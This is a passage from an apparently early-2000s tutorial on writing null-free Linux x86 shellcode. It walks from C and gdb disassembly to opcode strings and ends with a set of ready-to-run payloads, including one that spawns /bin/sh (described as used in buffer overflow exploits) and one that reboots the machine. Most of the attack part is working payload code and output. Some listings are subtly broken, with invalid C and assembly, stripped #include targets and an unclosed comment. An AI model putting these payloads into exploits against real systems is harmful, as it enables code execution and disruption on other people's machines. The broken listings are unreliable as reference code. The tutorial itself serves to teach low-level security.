0x80483f1
0x80483f3
0x80483f6
0x80483f9
0x80483fe
0x8048403
0x8048408
0x804840b
0x804840d
0x804840f
0x8048410
0x8048411
0x8048412
0x8048419
End of assembler dump.
------------------------------------------------------------------------
The code worked. It created a directory called "1337" with
permissions of 755. If I had set my permissions to 777, the
permissions still would have been 755, because of the umask set as 022.
From the disassembled code, we can extract the information we need in
order to create the assembly code. What we need to look at is the
fifth and sixth lines. The first push instruction is pushing the second
argument which was the mode. Despite setting the mode to 0755, the
mode that we will use for our assembly code is 0x1ed. The second push
is pushing the memory address, which points to the name of the
directory we are creating. The program then goes and calls the mkdir()
function and then returns back to 0x8048408.
Creating the Assembly Code
~~~~~~~~~~~~~~~~~~~~~~~~~~
The first thing we want to do is put the name of our directory
into a buffer. We do this by using the stack. The stack allows us to
place data into contiguous memory regions. Since the stack uses
something called LIFO(Last In First Out) or FILO(First In Last Out), we
have to place everything onto the stack in reverse order. But we can
only do this four bytes at a time. Our string must be converted from
ASCII to hexadecimal. The hexadecimal equivilant of "1337" is
0x31333337. A string must also be padded with a null byte to terminate
it. Time to place it onto the stack:
pushl $0x0
pushl $0x37333331
We now have our string in a contiguous memory region. In order to
set up the parameters for any system call, the four 32-bit general
registers EAX, EBX, ECX, and EDX, the four 16-bit general registers,
AX, BX, CX, and DX, or the four 8-bit general registers, AL, BL, CL,
and DL are used. The arguments that are placed into the general
purpose registers must also be placed in reverse order. We need to
first place the mode into a register. Remember, the mode is an integer:
movl $0x1ed, %ecx
Now we must use the stack pointer as our directory argument. The
stack pointer(ESP) points to the top of the stack, where our string is
located. The stack on IA-32 grows downwards, or towards lower memory
addresses:
movl %esp, %ebx
After that is completed, we must put the system call number, which
is 0x27(or 39 in decimal), into EAX and then dive into kernel mode:
movl $0x27, %eax
int $0x80
Our last part of the program is to run the exit syscall. We want
to return 0 to show a successful run. By doing this, we must place 0
into EBX. To do so, we can do an Exclusive OR on the register itself.
The exit syscall is 0x1:
xorl %ebx, %ebx
movl $0x1, %eax
int $0x80
When we put this all together, we get something like this:
mkdir.s
------------------------------------------------------------------------
.section .text
.global main
main:
pushl $0x0
pushl $0x37333331
movl $0x1ed, %ecx
movl %esp, %ebx
movl $0x27, %eax
int $0x80
xorl %ebx, %ebx
movl $0x1, %eax
int $0x80
------------------------------------------------------------------------
Patch Work
++++++++++
We want to try to avoid using 0's in our assembly code. First,
they look ugly, and they also take up unneccessary bytes. For
instance, there's no need to use a 32-bit register when you're only
placing 8 or 16 bits of data into it! For a hacker's purpose, the null
bytes cannot be used in his or her exploits because a null byte
terminates a string. In order to fix our problem, we will change the
following:
pushl $0x0 | xorl %eax, %eax
| pushl %eax
movl $0x1ed, %ecx | movw $0x1ed, %cx
movl $0x27, %eax | movb $0x27, %al
movl $0x1, %eax | movl %ebx, %eax
| incl %eax
Now that the patch work is done, we have our new code:
mkdir.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %eax, %eax
pushl %eax
pushl $0x37333331
movw $0x1ed, %cx
movl %esp, %ebx
movb $0x27, %al
int $0x80
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
------------------------------------------------------------------------
Writing the Shellcode
`````````````````````
Finally it is time to write our shellcode. We need to assemble
our patched assembly code, and see if it works:
------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.s
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 20
drwxr-xr-x 2 eric eric 4096 Nov 10 02:24 1337
-rwxr-xr-x 1 eric eric 4593 Nov 10 02:23 mkdir
-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c
-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s
------------------------------------------------------------------------
Yep! It works! Now we need to extract the opcodes using gdb.
------------------------------------------------------------------------
eric@debian:~/shellcode$ gdb mkdir
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) x/30b main
0x80483c0
0x80483c8
0x80483d0
0x80483d8
------------------------------------------------------------------------
We need to clean this up a bit. I would do it by copying and
pasting the gdb output into a text file, remove everything before the
":"s, remove all the spaces, and to a search/replace on all the "0x"s
with "\x"s. It is also necessary to cut out all of the opcodes after
the last 0x80 or \x80, because the rest are not important to the
construction of shellcode.
When we neaten the opcodes up, we get something similar to this:
------------------------------------------------------------------------
\x31\xc0\x50\x68\x31\x33\x33\x37
\x66\xb9\xed\x01\x89\xe3\xb0\x27
\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80
------------------------------------------------------------------------
Our shellcode then looks something like this:
mkdir.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\x66\xb9\xed\x01\x89\xe3\xb0\x27"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
Let us compile and run our shellcode to see if it works.
------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o mkdir mkdir.c
eric@debian:~/shellcode$ ./mkdir
eric@debian:~/shellcode$ ls -l
total 20
drwxr-xr-x 2 eric eric 4096 Nov 10 02:44 1337
-rwxr-xr-x 1 eric eric 4755 Nov 10 02:44 mkdir
-rwxr-xr-x 1 eric eric 544 Nov 10 02:07 mkdir.c
-rwxr-xr-x 1 eric eric 206 Nov 10 02:01 mkdir.s
------------------------------------------------------------------------
Thankfully it worked! Constructing shellcode is a very tedious
task, as you can see. I'm sure if you were patient enough to read up
to here, you will continue reading.
More Examples
*************
For another example of writing shellcode, we will write shellcode
that spawns a shell. This is often seen in the computer security
field. Often, hackers spawn shells in their buffer overflow exploits.
This is doine by changing the return address in the stack to an address
where the shell spawning shellcode is located.
We first start out with examining our syscall(or function) in C.
In order to execute any program, we will use execve(). Execve() is
both a system call and a C function. By looking at our chart, we find
out that execve's number is 0xb, or 11. Then by looking at our man
pages, we can find the arguments needed for execve().
int execve(const char *filename, char *const argv[], char *const envp[])
In C, we will get something like this:
shspawn.c
------------------------------------------------------------------------
#include
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
------------------------------------------------------------------------
Now we want to write this in assembly. We need to first create
our path. Our path will be "/bin//sh". The extra "/" is an escape
character used in order to distinguish slash that follows it. Then of
course, in order to end any string, we must have a null byte. Our
second argument is the entire character array. And our third argument
is NULL.
So in order to construct our code, we must first end our string
with the null byte:
xorl %eax, %eax
xorl %ecx, %ecx
xorl %edx, %edx
pushl %edx
Now we need to push our string backwards, four bytes at a time:
pushl $0x68732f2f
pushl $0x6e69622f
Now that we have our completed string on the stack, we need to
move it into a register. The path argument in our C function was the
first; now it is the last, so ESP, which is pointing to our string,
will be placed into EBX:
movl %esp, %ebx
We then need to set up our second argument, which was our string
and a NULL and then place it into it's respective register:
pushl %edx
pushl %ebx
movl %esp, %ecx
Once that is complete, we can now place the system call for
execve, 0xb, into EAX, then go into kernel mode:
movb $0xb, %al
int $0x80
Lastly, we must end our program with exit(0):
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
Now that we have that, let's put the pieces together and construct
our assembly code. The null bytes have already been removed:
shspawn.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
xorl %edx, %edx
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %edx
pushl %ebx
movl %esp, %ecx
movl $0xb, %eax
int $0x80
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
------------------------------------------------------------------------
Let us now assemble and extract the opcodes:
------------------------------------------------------------------------
eric@debian:~/shellcode$ gcc -o shspawn shspawn.s
eric@debian:~/shellcode$ gdb shspawn
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x80483c0
0x80483c2
0x80483c4
0x80483c6
0x80483c8
0x80483c9
0x80483ce
0x80483d3
0x80483d5
0x80483d6
0x80483d7
0x80483d9
0x80483db
0x80483dd
0x80483df
0x80483e1
0x80483e2
0x80483e4
0x80483e5
0x80483e6
---Type
0x80483e7
0x80483e8
0x80483e9
0x80483ea
0x80483eb
0x80483ec
0x80483ed
0x80483ee
0x80483ef
End of assembler dump.
(gdb) x/36b main
0x80483c0
0x80483c8
0x80483d0
0x80483d8
0x80483e0
------------------------------------------------------------------------
When we extract the opcodes, we get our shellcode:
shspawn.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
When we compile and run it, it should spawn sh:
------------------------------------------------------------------------
eric@debian:~$ cd shellcode
eric@debian:~/shellcode$ gcc -o shspawn shspawn.c
eric@debian:~/shellcode$ ./shspawn
sh-2.05a$ exit
exit
------------------------------------------------------------------------
Some variants of the above code exist; http://uc.zemos.net/sc/UCexecve.c
========================================================================
For our third example, we will write the message "Hello World!" to
/dev/tty1. Let's first check out the system calls we need to use:
int sys_open(const char * filename, int flags, int mode)
-&-
ssize_t sys_write(unsigned int fd, const char * buf, size_t count)
One aspect of open is crucial in designing our shellcode; open()
returns the file descriptor(fd). Writing the C code comes first:
vt.c
------------------------------------------------------------------------
#include
#include
#include
#include
int main()
{
int fd = open("/dev/tty1", O_RDWR);
char[] buf = "Hello World!";
int len = strlen(buf);
write(fd, buf, len);
return 0;
}
------------------------------------------------------------------------
After compiling the above code, you should login as root, chvt to
tty1(chvt 1) and try running the program:
------------------------------------------------------------------------
debian:/home/eric/shellcode# gcc -o vt vt.c
debian:/home/eric/shellcode# ./vt
Hello World!
debian:/home/eric/shellcode#
------------------------------------------------------------------------
The code did in fact did work. We now need to write the assembly code.
Let's start off with examining the disassembled code using gdb:
------------------------------------------------------------------------
eric@debian:~/shellcode$ gdb vt
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-linux"...(no debugging symbols
found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048450
0x8048451
0x8048453
0x8048456
0x8048459
0x804845b
0x8048460
0x8048465
0x8048468
0x804846a
0x804846d
0x8048470
0x8048475
0x8048477
0x804847a
0x804847d
0x8048480
0x8048483
0x8048486
0x804848a
0x804848e
0x8048491
---Type
0x8048494
0x8048495
0x804849a
0x804849d
0x80484a0
0x80484a3
0x80484a6
0x80484a7
0x80484aa
0x80484ab
0x80484ae
0x80484af
0x80484b4
0x80484b7
0x80484b9
0x80484bb
0x80484bc
0x80484c0
0x80484c1
0x80484c2
0x80484c9
End of assembler dump.
------------------------------------------------------------------------
Let us focus on the two lines before the call to open(). It says
push 0x2 and push $0x80485e4. The first push is placing "O_RDWR" onto
the stack. The second push is placing the memory address where our
string "/dev/tty1" onto the stack.
When we write our own code, we first need to push a null byte in
order to terminate the string:
xorl %eax, %eax
pushl %eax
Then we need to push our string "/dev/tty1" onto the stack. The
last two bytes MUST be pushed seperately. If they are pushed as
"0x3179", then the assembler will automatically fill the last two bytes
with 0's:
pushl $0x31
pushl $0x79
pushl $0x74742f2f
pushl $0x7665642f
Now that we have our string on the stack, we need to set up the
arguments for the open syscall. First we move 0_RDWR(0x2) into CL and
then we move the pointer to our string, which is ESP, to EBX. After
that, we place the system call number into AL and jump into kernel mode:
movb $0x2, %cl
movl %esp, %ebx
movb $0x5, %eax
int $0x80
The return value for open() is the file descriptor for /dev/tty1.
A function always places the return value into EAX. Since the fd is
the first argument for write(), we'll place it into EBX. We need to do
this first because we need to now set up our string, "Hello World!" by
Exclusive ORing EAX with itself:
movl %eax, %ebx
xorl %eax, %eax
pushl %eax
After that is complete, we need to push the rest of our "Hello World!"
string onto the stack:
pushl $0x0a
pushl $0x21646c72
pushl $0x6f57206f
pushl $0x6c6c6548
Now to set up the last two arguments for write(), place the system
call number into EAX, and jump into kernel mode:
movb $0xd, %dl
movl %esp, %ecx
movb $0x4, %al
int $0x80
Finally, end the program with exit(0):
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
But before we write our completed assembly code, we need to do one
last thing. Because we are sometimes using 8-bit registers, the top 24
bits may be filled with other data that may cause our program to
execute in an undesirable way. To fix this, we need to zero out all of
the registers at the beginning. EAX has already been 0'd out:
xorl %edx, %edx
xorl %ecx, %ecx
xorl %ebx, %ebx
All together, the code should look like this:
vt.s
------------------------------------------------------------------------
.section .text
.global main
main:
xorl %edx, %edx
xorl %ecx, %ecx
xorl %ebx, %ebx
xorl %eax, %eax
pushl %eax
pushl $0x31
pushl $0x79
pushl $0x74742f2f
pushl $0x7665642f
movb $0x2, %cl
movl %esp, %ebx
movb $0x5, %al
int $0x80
movl %eax, %ebx
xorl %eax, %eax
pushl %eax
pushl $0x0a
pushl $0x21646c72
pushl $0x6f57206f
pushl $0x6c6c6548
movb $0xd, %dl
movl %esp, %ecx
movb $0x4, %al
int $0x80
xorl %ebx, %ebx
movl %ebx, %eax
incl %eax
int $0x80
------------------------------------------------------------------------
After assembling your code, you can then fetch the opcodes using
gdb. Your the shellcode below is the complete shellcode in order to
write "Hello World!" to /dev/tty1.
vt.c
------------------------------------------------------------------------
#include
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0"
"\x50\x6a\x31\x6a\x79\x68\x2f\x2f"
"\x74\x74\x68\x2f\x64\x65\x76\xb1"
"\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x50\x6a\x0a\x68\x72"
"\x6c\x64\x21\x68\x6f\x20\x57\x6f"
"\x68\x48\x65\x6c\x6c\xb2\x0d\x89"
"\xe1\xb0\x04\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
printf("Size in bytes: %d", sizeof(shellcode) - 1);
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
The original of the vt code* can be found at
http://uc.zemos.net/sc These shellcodes and more can be found below.
The idea for the vt shellcode was conspired by mikecc of Zemos after viewing my
own original shellcode. Because of mikecc's superior coding abilities, he
managed to code the first vt shellcode while I completed mine hours later.
hostname.c
------------------------------------------------------------------------
/* author: the_swede
* title: hostname
* description: sets hostname to "1337".
*/
#include
/*
* xorl %eax, %eax
* pushl %edx
* pushl $0x37333331
* movb $0x04, %cl
* movl %esp, %ebx
* movb $0x4a, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\xb1\x04\x89\xe3\xb0\x4a\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
mkdir.c
------------------------------------------------------------------------
/* author: the_swede
* title: mkdir
* description: creates a directory titled "1337".
*/
#include
/*
* xorl %eax, %eax
* pushl %eax
* pushl $0x37333331
*
* movw $0x1ed, %cx
* movl %esp, %ebx
* movb $0x27, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\x66\xb9\xed\x01\x89\xe3\xb0\x27"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
reboot.c
------------------------------------------------------------------------
/*
* Author: the_swede
* Title: reboot
* Date: 6/8/03
* Description: reboots Linux.
*/
#include
/*
* pushl $0xfee1dead
* popl %ebx
* pushl $0x16041998
* popl %ecx
* pushl $0x1234567
* xorl %eax, %eax
* popl %edx
* movb $0x58, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x68\xad\xde\xe1\xfe\x5b\x68\x98"
"\x19\x04\x16\x59\x68\x67\x45\x23"
"\x01\x31\xc0\x5a\xb0\x58\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}------------------------------------------------------------------------
shspawn.c
------------------------------------------------------------------------
/*
* Title: shspawn
* Author: the_swede
* Date: 6/8/03
* Description: shellcode that spawns /bin/sh.
*/
#include
/*
* xorl %edx, %edx
* pushl %edx
* pushl $0x68732f2f
* pushl $0x6e69622f
*
* movl %esp, %ebx
* pushl %edx
* pushl %ebx
* movl %esp, %ecx
* movb $0xb, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
vt.c
------------------------------------------------------------------------
/* author: the_swede
* title: vt
* description: writes "Hello World!" to /dev/tty1.
#include
/*
* xorl %edx, %edx
* xorl %ecx, %ecx
* xorl %ebx, %ebx
*
* xorl %eax, %eax
* pushl %eax
* pushl $0x31
* pushl $0x79
* pushl $0x74742f2f
* pushl $0x7665642f
*
* movb $0x2, %cl
* movl %esp, %ebx
* movb $0x5, %al
* int $0x80
*
* movl %eax, %ebx
*
* xorl %eax, %eax
* pushl %eax
* pushl $0x0a
* pushl $0x21646c72
* pushl $0x6f57206f
* pushl $0x6c6c6548
*
* movb $0xd, %dl
* movl %esp, %ecx
* movb $0x4, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0"
"\x50\x6a\x31\x6a\x79\x68\x2f\x2f"
"\x74\x74\x68\x2f\x64\x65\x76\xb1"
"\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x50\x6a\x0a\x68\x72"
"\x6c\x64\x21\x68\x6f\x20\x57\x6f"
"\x68\x48\x65\x6c\x6c\xb2\x0d\x89"
"\xe1\xb0\x04\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
write.c
------------------------------------------------------------------------
/* author: the_swede
* title: write
* description: writes "Hello World!"
*/
#include
/*
* xorl %edx, %edx
* xorl %ecx, %ecx
*
* xorl %eax, %eax
* pushl %eax
* pushl $0x0a
* pushl $0x21646c72
* pushl $0x6f57206f
* pushl $0x6c6c6548
*
* movb $0xd, %dl
* movl %esp, %ecx
* xorl %ebx, %ebx
* movb $0x4, %al
* int $0x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int $0x80
*/
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xc0\x50\x6a"
"\x0a\x68\x72\x6c\x64\x21\x68\x6f"
"\x20\x57\x6f\x68\x48\x65\x6c\x6c"
"\xb2\x0d\x89\xe1\x31\xdb\xb0\x04"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------


